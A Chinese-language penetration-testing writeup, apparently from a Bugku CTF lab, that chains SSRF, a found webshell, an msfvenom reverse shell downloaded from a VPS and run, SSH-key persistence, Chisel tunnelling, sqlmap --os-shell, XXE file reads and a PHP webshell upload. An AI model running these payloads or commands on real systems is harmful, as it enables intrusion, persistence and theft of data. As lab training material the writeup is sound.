当前位置: 首页 > news >正文

Bugku渗透测试实战:从SSRF到内网横向移动的完整Writeup

1. 靶场环境初探与SSRF漏洞利用

打开Bugku靶场后,我习惯性地先对网站进行基础信息收集。用浏览器开发者工具查看页面源码时,发现有个可疑的API接口/proxy.php?url=,这个参数名立刻让我联想到SSRF(服务端请求伪造)漏洞。为了验证猜想,我尝试构造了一个测试请求:

curl "http://target.com/proxy.php?url=http://127.0.0.1"

当页面返回了本地服务的响应内容时,基本可以确认存在SSRF漏洞。这时候我做了个重要决定:先不急着读flag,而是系统性地收集信息。通过file://协议成功读取到/etc/passwd文件后,确认了服务器是Linux系统,还发现了几个可能有用的用户名。

实战中容易被忽略的一个细节是编码处理。当尝试读取/etc/hosts文件时,直接请求会失败,需要将路径双重编码:

# 原始路径:/etc/hosts # 第一次URL编码:%2Fetc%2Fhosts # 第二次URL编码:%252Fetc%252Fhosts curl "http://target.com/proxy.php?url=file://%252Fetc%252Fhosts"

这个技巧在很多CTF比赛中都很实用。通过hosts文件,我们获得了内网的关键IP段信息,为后续横向移动做好了准备。

2. 内网探测与资产发现

拿到内网IP段后(通常是192.168.0.0/24和192.168.1.0/24),我更喜欢用Burp的Intruder模块进行高效探测。这里分享我的配置经验:

  1. 在Payloads选项卡设置数字从1到254
  2. 添加Payload Processing规则:添加前缀192.168.0.
  3. 设置请求间隔为300毫秒(太快容易被封)
GET /proxy.php?url=http://192.168.0.§1§ HTTP/1.1 Host: target.com

扫描结果中,192.168.0.10、192.168.0.138和192.168.0.250给出了特殊响应。这时候有个实用技巧:对比响应长度。在Burp的Intruder结果里,按"Length"排序,明显不同的响应往往意味着有趣的服务。

访问192.168.0.10时看到"网站被黑"的提示,这通常是管理员留下的陷阱。但经验告诉我,可以尝试常见Webshell路径:

http://192.168.0.10/shell.php http://192.168.0.10/cmd.php http://192.168.0.10/backdoor.php

果然在/shell.php找到了密码为"cmd"的Webshell。这里要注意:不要直接执行高危命令,先用whoamipwd确认当前权限和环境。

3. 建立持久化访问通道

虽然通过Webshell能执行命令,但交互性太差。我选择用最稳定的反弹Shell方式:

在VPS上准备payload:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=your_vps_ip LPORT=4444 -f elf > shell.elf python3 -m http.server 80 # 启动临时下载服务

在目标服务器上:

curl -O http://your_vps_ip/shell.elf chmod +x shell.elf ./shell.elf

同时VPS上需要运行监听:

nc -lvnp 4444

拿到稳定Shell后,我立即做了三件事:

  1. python3 -c 'import pty; pty.spawn("/bin/bash")'升级为TTY
  2. 添加SSH公钥到~/.ssh/authorized_keys
  3. screentmux保持会话

4. 内网横向移动实战

通过socks5代理将内网流量导出到本地是标准操作。我常用的是Chisel工具,体积小且稳定:

在VPS上:

./chisel server -p 8080 --reverse

在目标服务器上:

./chisel client your_vps_ip:8080 R:socks

配置好代理后,就可以用Nmap扫描内网了。这里有个效率技巧:先快速扫描确认存活主机,再针对性深度扫描:

nmap -sn -T4 192.168.0.0/24 # 存活扫描 nmap -sV -O -p- 192.168.0.138 --script=default,vuln # 深度扫描

在192.168.0.138上发现的Web应用存在SQL注入,我习惯用sqlmap的--os-shell直接获取交互式Shell:

sqlmap -u "http://192.168.0.138/vuln.php?id=1" --os-shell --batch

5. 多漏洞组合利用技巧

遇到192.168.0.250的登录页面时,常规的admin/admin弱口令尝试失败后,我注意到请求是XML格式。这立刻让我想到XXE(XML外部实体注入)漏洞。构造的Payload如下:

<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user><username>&xxe;</username><password>test</password></user>

成功读取文件后,进一步利用PHP伪协议获取源码:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">

解码后分析源码,发现了文件上传功能。绕过限制的技巧是修改Content-Type并添加图片头:

POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1234 ------WebKitFormBoundary1234 Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg GIF89a <?php system($_GET['cmd']); ?> ------WebKitFormBoundary1234--

最后在多个系统的根目录下找到flag文件时,记得用find命令全面搜索:

find / -name *flag* 2>/dev/null

整个渗透过程中,我习惯用KeepNote记录每个步骤和发现,这对复盘和写报告特别有帮助。遇到复杂环境时,Metasploit的workspace功能也能很好地管理多个目标。

http://www.jsqmd.com/news/623865/

相关文章:

  • 收藏!小白程序员必看:如何低成本精准选型大模型,避免花冤枉钱?
  • 从一棵树看穿 CDS 数据模型:深入理解 SQL Dependency Tree 的工作原理、排障价值与项目实践
  • 如何用GetQzonehistory轻松备份你的QQ空间十年记忆
  • 2026年山东好用的装饰公司推荐,聊聊技良行(北京)装饰工程实力 - 工业设备
  • 三维超声辅助激光熔覆:多物理场耦合下的熔池动力学与声场作用机理分析
  • C++实战:利用libtiff库高效处理多帧TIFF图像(附完整代码解析)
  • 2026年变形缝供应商费用多少,昱安价格有优势吗 - 工业推荐榜
  • FPGA双边滤波实战:如何用查找表(LUT)和流水线设计搞定实时图像去噪
  • 从IWR1443到ROS2:手把手教你用Python驱动毫米波雷达(附避坑指南)
  • Go语言中的国际化与本地化:从i18n到l10n
  • 2026年铝唐铝单板市场口碑怎么样,探寻其在广州的优势 - myqiye
  • C++环境下的光学测量技术模拟:格雷码相位移与多频外差编码解码系统
  • 018、AI伦理与可持续发展:长期主义的商业基础
  • BilibiliDown:5分钟掌握B站视频下载与音频提取的终极免费工具指南
  • 终极指南:如何在5分钟内用Draw.io ECE插件绘制专业电路图
  • 2026年惠州隐形车衣服务价格,隐形车衣和改色膜怎么收费 - 工业品网
  • BERT文本分割模型部署:为语音转写稿添加段落结构
  • 聊聊金刚砂硬化剂正规供应商怎么选,广州地区有推荐吗 - mypinpai
  • C++ spdlog 高性能日志库实战解析
  • Draw.io电子工程绘图库终极指南:三步构建专业电路图
  • 逃离SQL丛林:实用主义的数据救赎
  • GitHub汉化插件:打破语言壁垒,重塑中文开发者的代码协作体验
  • SetDPI完全指南:掌握Windows多显示器DPI缩放控制的高效方案
  • HunyuanVideo-Foley在直播领域的应用:实时生成礼物特效音与互动音效
  • 2026年惠州口碑好的偶联剂制造商排名,性价比高的偶联剂厂家揭秘 - 工业品牌热点
  • 告别单调女声:用Python pyttsx3库+系统语音包,5分钟搞定中英文男声切换
  • m4s-converter:一站式B站缓存视频转换解决方案
  • Spring Cloud进阶--分布式权限校验OAuth人
  • FireRed-OCR Studio入门指南:Markdown输出中自动插入图片相对路径
  • 小程序停车场支付并发问题实战:如何避免用户重复支付(含完整流程图解)